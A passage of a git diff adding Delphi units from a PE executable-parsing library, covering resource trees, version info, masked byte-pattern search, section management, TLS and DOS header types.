assigned(versionLeaf) and versionLeaf.IsLeaf then + begin + exit(versionLeaf.Data); + end; + end; + end; + exit(nil); + finally + rt.Free; + end; +end; + +function PeVerQueryValueFixed(stream: TStream; out value: VS_FIXEDFILEINFO): boolean; +var + verInfo: TPEVersionInfo; + block: TBlock; +begin + verInfo := TPEVersionInfo.Create; + try + verInfo.LoadFromStream(stream); + + if assigned(verInfo.Root) then + for block in verInfo.Root.Children do + if block.ClassType = TBlockVersionInfo then + begin + value := TBlockVersionInfo(block).FixedInfo; + exit(true); + end; + + exit(false); + finally + verInfo.Free; + end; +end; + +end. diff --git a/Core/PE/PE.Resources.pas b/Core/PE/PE.Resources.pas new file mode 100755 index 0000000..4d11a76 --- /dev/null +++ b/Core/PE/PE.Resources.pas @@ -0,0 +1,465 @@ +{ + Classes to represent resource data. +} +unit PE.Resources; + +interface + +uses + Classes, + Generics.Collections, + SysUtils, + + PE.Common, + PE.Types.Resources; + +type + { Nodes } + + TResourceTreeNode = class; + TResourceTreeBranchNode = class; + + // Return False to stop traversing or True to continue. + TResourceTraverseMethod = function(Node: TResourceTreeNode): boolean of object; + + // Base node. + TResourceTreeNode = class + private + // Either ID or Name. + FId: uint32; + FName: UnicodeString; + procedure SetId(const Value: uint32); inline; + procedure SetName(const Value: UnicodeString);inline; + public + Parent: TResourceTreeBranchNode; + + procedure Traverse(TraverseMethod: TResourceTraverseMethod); inline; + + // Check if node is named. Otherwise it's ID. + function IsNamed: boolean; inline; + + function IsBranch: boolean; inline; + function IsLeaf: boolean; inline; + + // Find resource by Name or Id. + function FindByName(const Name: string): TResourceTreeNode; inline; + function FindByID(Id: uint32): TResourceTreeNode; inline; + + // By Name/Id. + function FindNode(Node: TResourceTreeNode): TResourceTreeNode; + + // Find either by name or by id. + function FindByNameOrId(const Name: string; Id: uint32): TResourceTreeNode; + + function GetNameOrId: string; + + function GetPath: string; + + property Id: uint32 read FId write SetId; + property Name: UnicodeString read FName write SetName; + end; + + TResourceTreeNodes = TObjectList<TResourceTreeNode>; + + // Leaf node (data). + TResourceTreeLeafNode = class(TResourceTreeNode) + private + FDataRVA: TRVA; // RVA of data in original image. + FCodepage: uint32; + FData: TMemoryStream; + FOriginalDataSize: uint32; + FValidSize: boolean; + function GetDataSize: uint32; inline; + public + constructor Create; + constructor CreateFromRVA(PE: TPEImageObject; DataRVA: TRVA; DataSize: uint32; CodePage: uint32); + constructor CreateFromEntry(PE: TPEImageObject; const Entry: TResourceDataEntry); + constructor CreateFromStream(Stream: TStream; Pos: UInt64 = 0; Size: UInt64 = 0); + + destructor Destroy; override; + + procedure UpdateData(Buffer: PByte; Size: uint32); + + property Data: TMemoryStream read FData; + property DataRVA: TRVA read FDataRVA; + property DataSize: uint32 read GetDataSize; + property CodePage: uint32 read FCodepage write FCodepage; + + // Original Size is set when node created. + // For example it is size of parsed leaf node data. But if executable is + // packed and not all raw size available or modified then OriginalSize is + // not equal to DataSize (DataSize = 0). + property OriginalDataSize: uint32 read FOriginalDataSize; + + // Leaf can be invalid if data size in parsed header doesn't match actual + // size that can be read from section. For example if executable is packed. + // See OriginalSize for parsed size of data. + // By default created leaf is valid. + // Valid size doesn't mean content is also valid, i.e. in right format. + // For example it can be RT_BITMAP resource but contain non-bitmap info. + property ValidSize: boolean read FValidSize; + end; + + // Branch node. + TResourceTreeBranchNode = class(TResourceTreeNode) + private + // 5.9.2. Resource Directory Entries + // ... + // All the Name entries precede all the ID entries for the table. + // All entries for the table are sorted in ascending order: + // Name entries by case-insensitive string and the ID entries by numeric value. + FChildren: TResourceTreeNodes; + public + Characteristics: uint32; + TimeDateStamp: uint32; + MajorVersion: uint16; + MinorVersion: uint16; + + constructor Create(); + destructor Destroy; override; + + // Get either Name or Id as string. + function GetSafeName: string; inline; + + // Add node to children. Result is added node. + function Add(Node: TResourceTreeNode): TResourceTreeNode; + function AddNewBranch: TResourceTreeBranchNode; + function AddNewLeaf: TResourceTreeLeafNode; + + // Remove node. + procedure Remove(Node: TResourceTreeNode; RemoveSelfIfNoChildren: boolean = False); + + property Children: TResourceTreeNodes read FChildren; + end; + + { Tree } + + TResourceTree = class + protected + FRoot: TResourceTreeBranchNode; + procedure CreateDummyRoot; + public + constructor Create; + destructor Destroy; override; + + // Clear all nodes. + procedure Clear; + + property Root: TResourceTreeBranchNode read FRoot; + end; + +implementation + +uses + PE.Image; + +function TreeNodeCompareLess(const A, B: TResourceTreeNode): boolean; +var + NamedA, NamedB: boolean; + n1, n2: string; +begin + NamedA := A.IsNamed; + NamedB := B.IsNamed; + if NamedA and NamedB then // Compare named. + begin + n1 := UpperCase(A.Name); + n2 := UpperCase(B.Name); + exit(CompareStr(n1, n2) < 0); + end; + if (not NamedA) and (not NamedB) then // Compare by ID. + Result := A.Id < B.Id + else // Compare Named vs ID (named must go first). + Result := NamedA and (not NamedB); +end; + +{ TResourceTreeNode } + +function TResourceTreeBranchNode.Add(Node: TResourceTreeNode): TResourceTreeNode; +begin + Result := Node; + if Assigned(Node) then + begin + Node.Parent := Self; + FChildren.Add(Node); + end; +end; + +function TResourceTreeBranchNode.AddNewBranch: TResourceTreeBranchNode; +begin + Result := TResourceTreeBranchNode.Create; + Add(Result); +end; + +function TResourceTreeBranchNode.AddNewLeaf: TResourceTreeLeafNode; +begin + Result := TResourceTreeLeafNode.Create; + Add(Result); +end; + +constructor TResourceTreeBranchNode.Create(); +begin + inherited; + FChildren := TResourceTreeNodes.Create(True); +end; + +procedure TResourceTreeBranchNode.Remove(Node: TResourceTreeNode; RemoveSelfIfNoChildren: boolean); +begin + FChildren.Remove(Node); + if RemoveSelfIfNoChildren and (Self.FChildren.Count = 0) and Assigned(Parent) then + Self.Parent.Remove(Self, True); +end; + +destructor TResourceTreeBranchNode.Destroy; +begin + FChildren.Free; + inherited; +end; + +function TResourceTreeBranchNode.GetSafeName: string; +begin + if IsNamed then + Result := name + else + Result := Format('#%d', [Id]) +end; + +{ TResourceTreeNode } + +function TResourceTreeNode.FindByName(const Name: string): TResourceTreeNode; +begin + Result := FindByNameOrId(Name, 0); +end; + +function TResourceTreeNode.FindByID(Id: uint32): TResourceTreeNode; +begin + Result := FindByNameOrId('', Id); +end; + +function TResourceTreeNode.FindByNameOrId(const Name: string; Id: uint32): TResourceTreeNode; +var + tmp: TResourceTreeNode; +begin + Result := nil; + + if not IsBranch then + exit; + + for tmp in TResourceTreeBranchNode(Self).FChildren do + begin + if (tmp.Name <> '') then + begin + if tmp.Name = Name then + exit(tmp); + end + else + begin + if tmp.Id = Id then + exit(tmp); + end; + end; +end; + +function TResourceTreeNode.FindNode(Node: TResourceTreeNode): TResourceTreeNode; +var + tmp: TResourceTreeNode; +begin + Result := nil; + if not IsBranch then + exit; + + for tmp in TResourceTreeBranchNode(Self).FChildren do + begin + if tmp = node then + exit(tmp); + end; +end; + +function TResourceTreeNode.GetNameOrId: string; +begin + if FName <> '' then + Result := FName + else + Result := Format('#%d', [FId]); +end; + +function TResourceTreeNode.GetPath: string; +var + Cur: TResourceTreeNode; + Separator: string; +begin + Cur := Self; + + if Cur.IsLeaf then + begin + Result := Format('(%d)', [TResourceTreeLeafNode(Cur).FCodepage]); + end; + + // All parent nodes are branches. + // Go up excluding root node. + while (Cur.Parent <> nil) and (Cur.Parent.Parent <> nil) do + begin + // Leaf node don't need PathDelim. + if Cur = Self then + Separator := '' + else + Separator := PathDelim; + Result := Format('%s%s%s', [TResourceTreeBranchNode(Cur.Parent).GetSafeName, + Separator, Result]); + Cur := Cur.Parent; + end; +end; + +function TResourceTreeNode.IsBranch: boolean; +begin + Result := (Self is TResourceTreeBranchNode); +end; + +function TResourceTreeNode.IsLeaf: boolean; +begin + Result := (Self is TResourceTreeLeafNode); +end; + +function TResourceTreeNode.IsNamed: boolean; +begin + Result := Name <> ''; +end; + +procedure TResourceTreeNode.SetId(const Value: uint32); +begin + FId := Value; + FName := ''; +end; + +procedure TResourceTreeNode.SetName(const Value: UnicodeString); +begin + FId := 0; + FName := Value; +end; + +procedure TResourceTreeNode.Traverse(TraverseMethod: TResourceTraverseMethod); +const + WANT_MORE_NODES = True; +var + n: TResourceTreeNode; +begin + if Assigned(TraverseMethod) and (Assigned(Self)) then + begin + // Visit node. + if TraverseMethod(Self) = WANT_MORE_NODES then + begin + // If branch, visit children. + if Self.IsBranch then + for n in TResourceTreeBranchNode(Self).FChildren do + n.Traverse(TraverseMethod) + end; + end; +end; + +{ TResourceTree } + +procedure TResourceTree.Clear; +begin + FRoot.Free; // To destroy all children. + CreateDummyRoot; +end; + +constructor TResourceTree.Create; +begin + inherited; + CreateDummyRoot; +end; + +procedure TResourceTree.CreateDummyRoot; +begin + FRoot := TResourceTreeBranchNode.Create; +end; + +destructor TResourceTree.Destroy; +begin + FRoot.Free; + inherited; +end; + +{ TResourceTreeLeafNode } + +constructor TResourceTreeLeafNode.Create; +begin + inherited Create; + FValidSize := True; // valid by default + FData := TMemoryStream.Create; +end; + +constructor TResourceTreeLeafNode.CreateFromRVA(PE: TPEImageObject; + DataRVA: TRVA; DataSize: uint32; CodePage: uint32); +begin + Create; + + FDataRVA := DataRVA; + FCodepage := CodePage; + FOriginalDataSize := DataSize; + + // Copy data from image. + if DataSize <> 0 then + begin + // Check if we can't read whole raw size then this section either packed or + // spoiled and mark it as invalid without reading any data. + if not TPEImage(PE).RegionExistsRaw(DataRVA, DataSize) then + begin + FValidSize := False; + end + else + begin + // Otherwise leaf is valid and contain whole size. + // Though it's not guaranteed that data is in right format anyway :) + FData.Size := DataSize; + TPEImage(PE).SaveRegionToStream(FData, DataRVA, DataSize); + end; + end; +end; + +constructor TResourceTreeLeafNode.CreateFromStream( + Stream: TStream; + Pos, Size: UInt64); +begin + Create; + + Stream.Position := Pos; + + if Size = 0 then + Size := Stream.Size - Pos; + + FOriginalDataSize := Size; + + FData.CopyFrom(Stream, Size); +end; + +constructor TResourceTreeLeafNode.CreateFromEntry( + PE: TPEImageObject; + const Entry: TResourceDataEntry); +begin + CreateFromRVA(PE, Entry.DataRVA, Entry.Size, Entry.CodePage); +end; + +destructor TResourceTreeLeafNode.Destroy; +begin + FData.Free; + inherited; +end; + +function TResourceTreeLeafNode.GetDataSize: uint32; +begin + Result := FData.Size; +end; + +procedure TResourceTreeLeafNode.UpdateData(Buffer: PByte; Size: uint32); +begin + if (Buffer = nil) or (Size = 0) then + begin + FData.Clear; + exit; + end; + FData.Size := Size; + Move(Buffer^, FData.Memory^, Size); +end; + +end. diff --git a/Core/PE/PE.Search.pas b/Core/PE/PE.Search.pas new file mode 100755 index 0000000..28288ba --- /dev/null +++ b/Core/PE/PE.Search.pas @@ -0,0 +1,257 @@ +unit PE.Search; + +interface + +uses + System.SysUtils, + PE.Section; + +{ + * + * Search byte pattern in ASection starting from AOffset. + * Result is True if found and false otherwise. + * AOffset will be set to last position scanned. + * + * Each byte of AMask is AND'ed with source byte and compared to pattern. + * AMask can be smaller than APattern (or empty), but cannot be bigger. + * + * ADirection can be negative or positive to choose search direction. + * If it is 0 the only match checked. + * + * Example: + * + * AA ?? BB should be represented like: + * APattern: AA 00 BB + * AMask: AA 00 BB + * + * AA 00 BB should be represented like: + * APattern: AA 00 BB + * AMask: AA FF BB + * +} +function SearchBytes( + const ASection: TPESection; + const APattern: array of byte; + const AMask: array of byte; + var AOffset: UInt32; + ADirection: Integer + ): boolean; + +{ + * Check string contains valid pattern text and return number of elements on + * success. Result is 0 if pattern text is invalid or string is empty. +} +function ValidatePattern(const S: string): Integer; + +{ + * Convert string like AA??BB (or AA ?? BB) + * to pattern AA00BB + * and mask FF00FF + * + * String must not contain spaces. + * Output length of Pattern and Mask is same. +} +function StringToPattern( + const S: string; + out Pattern: TBytes; + out Mask: TBytes): boolean; + +implementation + +function MatchPattern( + pSrc: pbyte; + const APattern: array of byte; + const AMask: array of byte + ): boolean; +var + MaskLeft: Integer; + Mask: byte; + i: Integer; +begin + Result := True; + + MaskLeft := Length(AMask); + for i := 0 to High(APattern) do + begin + if MaskLeft <> 0 then + Mask := AMask[i] + else + Mask := $FF; + + if (pSrc[i] and Mask) <> APattern[i] then + begin + Result := False; + break; + end; + + if MaskLeft <> 0 then + dec(MaskLeft); + end; +end; + +function SearchBytes; +var + pSrc: pbyte; + LastOffset: UInt32; +begin + Result := False; + + if Length(APattern) = 0 then + Exit; + + if (AOffset + Length(APattern)) > ASection.AllocatedSize then + Exit; + + if ADirection < 0 then + ADirection := -1 + else if ADirection > 0 then + ADirection := 1; + + pSrc := @ASection.Mem[AOffset]; + LastOffset := ASection.AllocatedSize - Length(APattern); + + while AOffset <= LastOffset do + begin + Result := MatchPattern(pSrc, APattern, AMask); + + // Break if: found/no direction/at lower bound. + if (Result) or (ADirection = 0) or ((ADirection < 0) and (AOffset = 0)) then + break; + + // Next address/offset. + inc(AOffset, ADirection); + inc(pSrc, ADirection); + end; +end; + +function ValidatePattern(const S: string): Integer; +var + i: Integer; + ElementLen: Integer; + c: char; +begin + Result := 0; + + if S.IsEmpty then + Exit; + + { Any element is 2 chars max } + ElementLen := 0; + + i := 0; + while i < S.Length do + begin + c := S.Chars[i]; + case c of + '?': + begin + if (ElementLen = 0) or ((ElementLen < 2) and (S.Chars[i - 1] = '?')) then + inc(ElementLen) + else + Exit(0); + end; + '0' .. '9', 'A' .. 'F', 'a' .. 'f': + begin + if (ElementLen = 0) or ((ElementLen < 2) and CharInSet(S.Chars[i - 1], ['0' .. '9', 'A' .. 'F', 'a' .. 'f'])) then + inc(ElementLen) + else + Exit(0); + end; + end; + + inc(i); + + if (ElementLen <> 0) and ((i = S.Length) or (c = ' ')) then + inc(Result); + + if c = ' ' then + ElementLen := 0; + end; +end; + +function StringToPattern( + const S: string; + out Pattern: TBytes; + out Mask: TBytes): boolean; +var + i, hcn, masked: Integer; + hc: array [0 .. 1] of byte; + c: char; + element, count: Integer; +begin + count := ValidatePattern(S); + if count = 0 then + Exit(False); + + SetLength(Pattern, count); + SetLength(Mask, count); + + element := 0; + + hcn := 0; + hc[0] := 0; + hc[1] := 0; + masked := 0; + + i := 0; + while i < S.Length do + begin + c := S.Chars[i]; + + case c of + '0' .. '9': + begin + hc[hcn] := Integer(c) - Integer('0'); + inc(hcn); + end; + 'A' .. 'F': + begin + hc[hcn] := Integer(c) - Integer('A') + 10; + inc(hcn); + end; + 'a' .. 'f': + begin + hc[hcn] := Integer(c) - Integer('a') + 10; + inc(hcn); + end; + '?': + inc(masked); + end; + + inc(i); + + if (i = S.Length) or (c = ' ') then + begin + case hcn of + 0: + if masked <> 0 then + begin + Pattern[element] := 0; + Mask[element] := 0; + inc(element); + end; + 1: + begin + Pattern[element] := hc[0]; + Mask[element] := $FF; + inc(element); + end; + 2: + begin + Pattern[element] := (hc[0] shl 4) or hc[1]; + Mask[element] := $FF; + inc(element); + end; + end; + + hcn := 0; + hc[0] := 0; + hc[1] := 0; + masked := 0; + end; + end; + + Exit(True); +end; + +end. diff --git a/Core/PE/PE.Section.pas b/Core/PE/PE.Section.pas new file mode 100755 index 0000000..cbcd40d --- /dev/null +++ b/Core/PE/PE.Section.pas @@ -0,0 +1,308 @@ +unit PE.Section; + +interface + +uses + Classes, + SysUtils, + + PE.Common, + PE.Msg, + PE.Types, + PE.Types.Sections, + PE.Utils; + +type + TPESectionBase = class + private + FMsg: PMsgMgr; + FName: String; // Section name. + FVSize: uint32; // Virtual Size. + FRVA: TRVA; // Relative Virtual Address. + FRawSize: uint32; // Raw size. + FRawOffset: uint32; // Raw offset. + FFlags: uint32; // Section flags. + FMem: TBytes; // Memory allocated for section, size = raw size + function GetImageSectionHeader: TImageSectionHeader; + function GetMemPtr: PByte; + + procedure SetAllocatedSize(Value: uint32); + public + + constructor Create(const ASecHdr: TImageSectionHeader; AMem: pointer; + AMsg: PMsgMgr = nil); overload; + + destructor Destroy; override; + + function GetAllocatedSize: uint32; inline; + + // Set section values from Section Header. + // Allocate memory for section data. + // If ChangeData is True memory will be overwritten. + procedure SetHeader(ASecHdr: TImageSectionHeader; ASrcData: pointer; + ChangeData: boolean = True); + + // Can be used to load mapped section. + // SetHeader must be called first. + function LoadDataFromStreamEx(AStream: TStream; + ARawOffset, ARawSize: uint32): boolean; + + // Allocate Mem and read RawSize bytes from RawOffset of AStream. + function LoadDataFromStream(AStream: TStream): boolean; + + // Save section data to AStream. + function SaveDataToStream(AStream: TStream): boolean; + + // Save section data to file. + function SaveToFile(const FileName: string): boolean; + + // Deallocate section data. + procedure ClearData; + + procedure Resize(NewSize: uint32); + + function ContainRVA(RVA: TRVA): boolean; //{$IFNDEF DEBUG}inline; {$ENDIF} + function GetEndRVA: TRVA; inline; + function GetEndRawOffset: uint32; inline; + function GetLastRVA: TRVA; inline; + + function IsCode: boolean; inline; + + function NameAsHex: string; + + property Name: String read FName write FName; + property VirtualSize: uint32 read FVSize; + property RVA: TRVA read FRVA; + property RawSize: uint32 read FRawSize; + property RawOffset: uint32 read FRawOffset write FRawOffset; + property Flags: uint32 read FFlags write FFlags; + property ImageSectionHeader: TImageSectionHeader read GetImageSectionHeader; + property AllocatedSize: uint32 read GetAllocatedSize; + + // Don't use Mem directly. + // Use TPEImage functions to read/write data. + property Mem: PByte read GetMemPtr; + end; + + TPESectionImageHeader = class(TPESectionBase); + + TPESection = class(TPESectionBase); + + PPESection = ^TPESection; + +implementation + +{ TPESection } + +function TPESectionBase.ContainRVA(RVA: TRVA): boolean; +//var + //pos : Integer; +begin + //pos := RVA - Self.RVA; + //Result := (pos >= 0) and (pos < Self.VirtualSize); + + Result := (RVA >= Self.RVA) and (RVA < Self.GetEndRVA); +end; + +function TPESectionBase.GetEndRVA: TRVA; +begin + Result := Self.RVA + Self.VirtualSize; +end; + +constructor TPESectionBase.Create(const ASecHdr: TImageSectionHeader; AMem: pointer; + AMsg: PMsgMgr); +begin + FMsg := AMsg; + SetHeader(ASecHdr, AMem); +end; + +destructor TPESectionBase.Destroy; +begin + ClearData; + inherited; +end; + +function TPESectionBase.SaveToFile(const FileName: string): boolean; +var + fs: TFileStream; +begin + try + fs := TFileStream.Create(FileName, fmCreate or fmShareDenyWrite); + try + fs.Write(Self.Mem^, Self.FVSize); + Result := True; + finally + FreeAndNil(fs); + end; + except + Result := false; + end; +end; + +procedure TPESectionBase.SetAllocatedSize(Value: uint32); +begin + SetLength(FMem, Value); +end; + +procedure TPESectionBase.SetHeader(ASecHdr: TImageSectionHeader; ASrcData: pointer; + ChangeData: boolean); +var + SizeToAlloc: uint32; +begin + FName := ASecHdr.Name; + FVSize := ASecHdr.VirtualSize; + FRVA := ASecHdr.RVA; + FRawSize := ASecHdr.SizeOfRawData; + FRawOffset := ASecHdr.PointerToRawData; + FFlags := ASecHdr.Flags; + + if ChangeData then + begin + SizeToAlloc := FVSize; + + if SizeToAlloc = 0 then + raise Exception.Create('Section data size = 0.'); + + // If no source mem specified, alloc empty block. + // If have source mem, copy it. + if ASrcData = nil then + begin + SetAllocatedSize(0); + SetAllocatedSize(SizeToAlloc); + end + else + begin + SetAllocatedSize(SizeToAlloc); + Move(ASrcData^, Mem^, SizeToAlloc); + end; + end; +end; + +procedure TPESectionBase.ClearData; +begin + SetAllocatedSize(0); + FRawSize := 0; + FRawOffset := 0; +end; + +function TPESectionBase.GetLastRVA: TRVA; +begin + Result := Self.RVA + Self.VirtualSize - 1; +end; + +function TPESectionBase.GetImageSectionHeader: TImageSectionHeader; +begin + Result.Clear; + Result.Name := FName; + Result.RVA := RVA; + Result.VirtualSize := VirtualSize; + Result.SizeOfRawData := RawSize; + Result.PointerToRawData := RawOffset; + Result.Flags := Flags; +end; + +function TPESectionBase.GetMemPtr: PByte; +begin + Result := @FMem[0]; +end; + +function TPESectionBase.GetAllocatedSize: uint32; +begin + Result := Length(FMem); +end; + +function TPESectionBase.GetEndRawOffset: uint32; +begin + Result := Self.FRawOffset + Self.FRawSize; +end; + +function TPESectionBase.IsCode: boolean; +begin + Result := (Flags and IMAGE_SCN_CNT_CODE) <> 0; +end; + +function TPESectionBase.LoadDataFromStream(AStream: TStream): boolean; +begin + Result := LoadDataFromStreamEx(AStream, FRawOffset, FRawSize); +end; + +function TPESectionBase.LoadDataFromStreamEx(AStream: TStream; + ARawOffset, ARawSize: uint32): boolean; +var + cnt: uint32; +begin + if (ARawOffset = 0) or (ARawSize = 0) then + Exit(false); // Bad args. + + if not StreamSeek(AStream, ARawOffset) then + Exit(false); // Can't find position in file. + + if ARawSize > GetAllocatedSize then + ARawSize := GetAllocatedSize; + + cnt := AStream.Read(Mem^, ARawSize); + if cnt = 0 then + begin + ClearData; + if Assigned(FMsg) then + FMsg.Write('Section %s has no raw data.', [FName]); + end + else if (cnt <> ARawSize) then + begin + if Assigned(FMsg) then + FMsg.Write + ('Section %s has less raw data than header declares: 0x%x instead of 0x%x.', + [FName, cnt, ARawSize]); + if Assigned(FMsg) then + FMsg.Write('Actual raw size was loaded.'); + end; + Exit(True); +end; + +function TPESectionBase.NameAsHex: string; +var + bytes: array [0 .. IMAGE_SIZEOF_SHORT_NAME - 1] of byte; + i, len: integer; +begin + fillchar(bytes[0], IMAGE_SIZEOF_SHORT_NAME, 0); + len := Min(Length(name), IMAGE_SIZEOF_SHORT_NAME); + if len > 0 then + for i := 0 to len - 1 do + // oranke modified. + //bytes[i] := byte(name.Chars[i]); + bytes[i] := byte(name[i]); + + Result := format('%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x%2.2x', [ + bytes[0], + bytes[1], + bytes[2], + bytes[3], + bytes[4], + bytes[5], + bytes[6], + bytes[7] + ]); +end; + +function TPESectionBase.SaveDataToStream(AStream: TStream): boolean; +begin +{$WARN COMPARING_SIGNED_UNSIGNED OFF} + Result := false; + if (FMem = nil) or (FRawSize = 0) then + begin + if Assigned(FMsg) then + FMsg.Write('No data to save.'); + Exit; + end; + Result := AStream.Write(Mem^, FRawSize) = FRawSize; +{$WARN COMPARING_SIGNED_UNSIGNED ON} +end; + +procedure TPESectionBase.Resize(NewSize: uint32); +begin + FRawSize := NewSize; + FVSize := NewSize; + SetAllocatedSize(NewSize); +end; + +end. diff --git a/Core/PE/PE.Sections.pas b/Core/PE/PE.Sections.pas new file mode 100755 index 0000000..ed96cea --- /dev/null +++ b/Core/PE/PE.Sections.pas @@ -0,0 +1,278 @@ +unit PE.Sections; + +interface + +uses + Classes, + Generics.Collections, + SysUtils, + + PE.Common, + PE.Types.Sections, + PE.Section; + +type + TPESections = class(TList<TPESection>) + private + FPE: TObject; + procedure ItemNotify(Sender: TObject; constref Item: TPESection; + Action: TCollectionNotification); + public + constructor Create(APEImage: TObject); + + function Add(const Sec: TPESection): TPESection; + procedure Clear; + + // Change section Raw and Virtual size. + // Virtual size is aligned to section alignment. + procedure Resize(Sec: TPESection; NewSize: UInt32); + + function CalcNextSectionRVA: TRVA; + + // Create new section but don't add it. + // See AddNew for list of parameters. + function CreateNew(const AName: String; ASize, AFlags: UInt32; + Mem: pointer; ForceVA: TVA = 0): TPESection; + + // Add new named section. + // If Mem <> nil, data from Mem will be copied to newly allocated block. + // If Mem = nil, block will be allocated and filled with 0s. + // Normally Virtual Address of section is calculated to come after previous + // section (aligned). But if ForceVA is not 0 it is used instead of + // calculation. + function AddNew(const AName: String; ASize, AFlags: UInt32; + Mem: pointer; ForceVA: TVA = 0): TPESection; + + // Add new section using raw data from file. + function AddNewFromFile(const AFileName: string; const AName: String; + AFlags: UInt32; ForceVA: TVA = 0): TPESection; + + function SizeOfAllHeaders: UInt32; inline; + + function RVAToOfs(RVA: TRVA; OutOfs: PDword): boolean; + function RVAToSec(RVA: TRVA; OutSec: PPESection): boolean; + + function FindByName(const AName: String; IgnoreCase: boolean = True): TPESection; + + // Fill section memory with specified byte and return number of bytes + // actually written. + function FillMemory(RVA: TRVA; Size: UInt32; FillByte: Byte = 0): UInt32; + + // WholeSizeOrNothing: either write Size bytes or write nothing. + function FillMemoryEx(RVA: TRVA; Size: UInt32; WholeSizeOrNothing: boolean; + FillByte: Byte = 0): UInt32; + end; + +implementation + +uses + // Expand + PE.Types.FileHeader, + // + PE.Image, + PE.Utils; + +{ TPESections } + +function TPESections.Add(const Sec: TPESection): TPESection; +begin + inherited Add(Sec); + Result := Sec; +end; + +function TPESections.CreateNew(const AName: String; ASize, AFlags: UInt32; + Mem: pointer; ForceVA: TVA): TPESection; +var + PE: TPEImage; + sh: TImageSectionHeader; +begin + PE := TPEImage(FPE); + + sh.Clear; + sh.Name := AName; + sh.VirtualSize := AlignUp(ASize, PE.SectionAlignment); + + if ForceVA = 0 then + sh.RVA := CalcNextSectionRVA + else + sh.RVA := ForceVA; + + sh.SizeOfRawData := ASize; + // sh.PointerToRawData will be calculated later during image saving. + sh.Flags := AFlags; + + Result := TPESection.Create(sh, Mem); +end; + +function TPESections.AddNew(const AName: String; ASize, AFlags: UInt32; + Mem: pointer; ForceVA: TVA): TPESection; +begin + Result := CreateNew(AName, ASize, AFlags, Mem, ForceVA); + Add(Result); +end; + +function TPESections.AddNewFromFile(const AFileName: string; + const AName: String; AFlags: UInt32; ForceVA: TVA): TPESection; +var + ms: TMemoryStream; +begin + ms := TMemoryStream.Create; + try + ms.LoadFromFile(AFileName); + Result := AddNew(AName, ms.Size, AFlags, ms.Memory, ForceVA); + finally + ms.Free; + end; +end; + +function TPESections.CalcNextSectionRVA: TRVA; +var + PE: TPEImage; +begin + PE := TPEImage(FPE); + if Count = 0 then + Result := AlignUp(PE.CalcHeadersSizeNotAligned, PE.SectionAlignment) + else + Result := AlignUp(Last.RVA + Last.VirtualSize, PE.SectionAlignment); +end; + +procedure TPESections.Clear; +begin + inherited Clear; + TPEImage(FPE).FileHeader^.NumberOfSections := 0; +end; + +constructor TPESections.Create(APEImage: TObject); +begin + inherited Create; + FPE := APEImage; + self.OnNotify := ItemNotify; +end; + +function TPESections.FillMemory(RVA: TRVA; Size: UInt32; + FillByte: Byte): UInt32; +begin + Result := FillMemoryEx(RVA, Size, False, FillByte); +end; + +function TPESections.FillMemoryEx(RVA: TRVA; Size: UInt32; + WholeSizeOrNothing: boolean; FillByte: Byte): UInt32; +var + Sec: TPESection; + Ofs, CanWrite: UInt32; + p: PByte; +begin + if not RVAToSec(RVA, @Sec) then + Exit(0); + Ofs := RVA - Sec.RVA; // offset of RVA in section + CanWrite := Sec.GetAllocatedSize - Ofs; // max we can write before section end + if CanWrite < Size then + begin + if WholeSizeOrNothing then + Exit(0); // + Result := CanWrite; + end + else + Result := Size; + p := Sec.Mem + Ofs; + System.FillChar(p^, Result, FillByte); +end; + +function TPESections.FindByName(const AName: String; IgnoreCase: boolean): TPESection; +var + a, b: string; +begin + if IgnoreCase then + a := LowerCase(AName)//.ToLower + else + a := AName; + for Result in self do + begin + if IgnoreCase then + b := Lowercase(Result.Name)//.ToLower + else + b := Result.Name; + if a = b then + Exit; + end; + Exit(nil); +end; + +procedure TPESections.ItemNotify(Sender: TObject; constref Item: TPESection; + Action: TCollectionNotification); +begin + case Action of + cnAdded: + inc(TPEImage(FPE).FileHeader^.NumberOfSections); + cnRemoved: + begin + dec(TPEImage(FPE).FileHeader^.NumberOfSections); + if Item <> nil then + Item.Free; + end; + cnExtracted: + dec(TPEImage(FPE).FileHeader^.NumberOfSections); + end; +end; + +procedure TPESections.Resize(Sec: TPESection; NewSize: UInt32); +var + NewVirtualSize: UInt32; + LastRVA: TRVA; +begin + // Last section can be changed freely, other sections must be checked. + if Sec <> self.Last then + begin + if NewSize = 0 then + begin + Remove(Sec); + end + else + begin + // Get new size and rva for this section. + NewVirtualSize := AlignUp(NewSize, TPEImage(FPE).SectionAlignment); + LastRVA := Sec.RVA + NewVirtualSize - 1; + // Check if new section end would be already occupied. + if RVAToSec(LastRVA, nil) then + raise Exception.Create('Cannot resize section: size is too big'); + end; + end; + Sec.Resize(NewSize); +end; + +function TPESections.RVAToOfs(RVA: TRVA; OutOfs: PDword): boolean; +var + Sec: TPESection; +begin + for Sec in self do + begin + if Sec.ContainRVA(RVA) then + begin + if Assigned(OutOfs) then + OutOfs^ := (RVA - Sec.RVA) + Sec.RawOffset; + Exit(True); + end; + end; + Exit(False); +end; + +function TPESections.RVAToSec(RVA: TRVA; OutSec: PPESection): boolean; +var + Sec: TPESection; +begin + for Sec in self do + if Sec.ContainRVA(RVA) then + begin + if OutSec <> nil then + OutSec^ := Sec; + Exit(True); + end; + Result := False; +end; + +function TPESections.SizeOfAllHeaders: UInt32; +begin + Result := Count * sizeof(TImageSectionHeader) +end; + +end. diff --git a/Core/PE/PE.TLS.pas b/Core/PE/PE.TLS.pas new file mode 100755 index 0000000..ea953f3 --- /dev/null +++ b/Core/PE/PE.TLS.pas @@ -0,0 +1,38 @@ +unit PE.TLS; + +interface + +uses + PE.Types, + PE.Types.TLS; + +type + TTLS = class + public + Dir: TTLSDirectory; + CallbackRVAs: TRVAs; + constructor Create; + destructor Destroy; override; + procedure Clear; + end; + +implementation + +procedure TTLS.Clear; +begin + FillChar(Dir, SizeOf(Dir), 0); + CallbackRVAs.Clear; +end; + +constructor TTLS.Create; +begin + CallbackRVAs := TRVAs.Create; +end; + +destructor TTLS.Destroy; +begin + CallbackRVAs.Free; + inherited Destroy; +end; + +end. diff --git a/Core/PE/PE.Types.DOSHeader.pas b/Core/PE/PE.Types.DOSHeader.pas new file mode 100755 index 0000000..741a183 --- /dev/null +++ b/Core/PE/PE.Types.DOSHeader.pas @@ -0,0 +1,63 @@ +unit PE.Types.DOSHeader; + +interface + +type + TDOSMagic = packed record + public + function IsMZ: boolean; inline; + procedure SetMZ; inline; + public + case integer of + 0: + (chars: array [0 .. 1] of AnsiChar); + end; + +type + TImageDOSHeader = packed record + e_magic: TDOSMagic; // Magic number. + e_cblp: uint16; // Bytes on last page of file. + 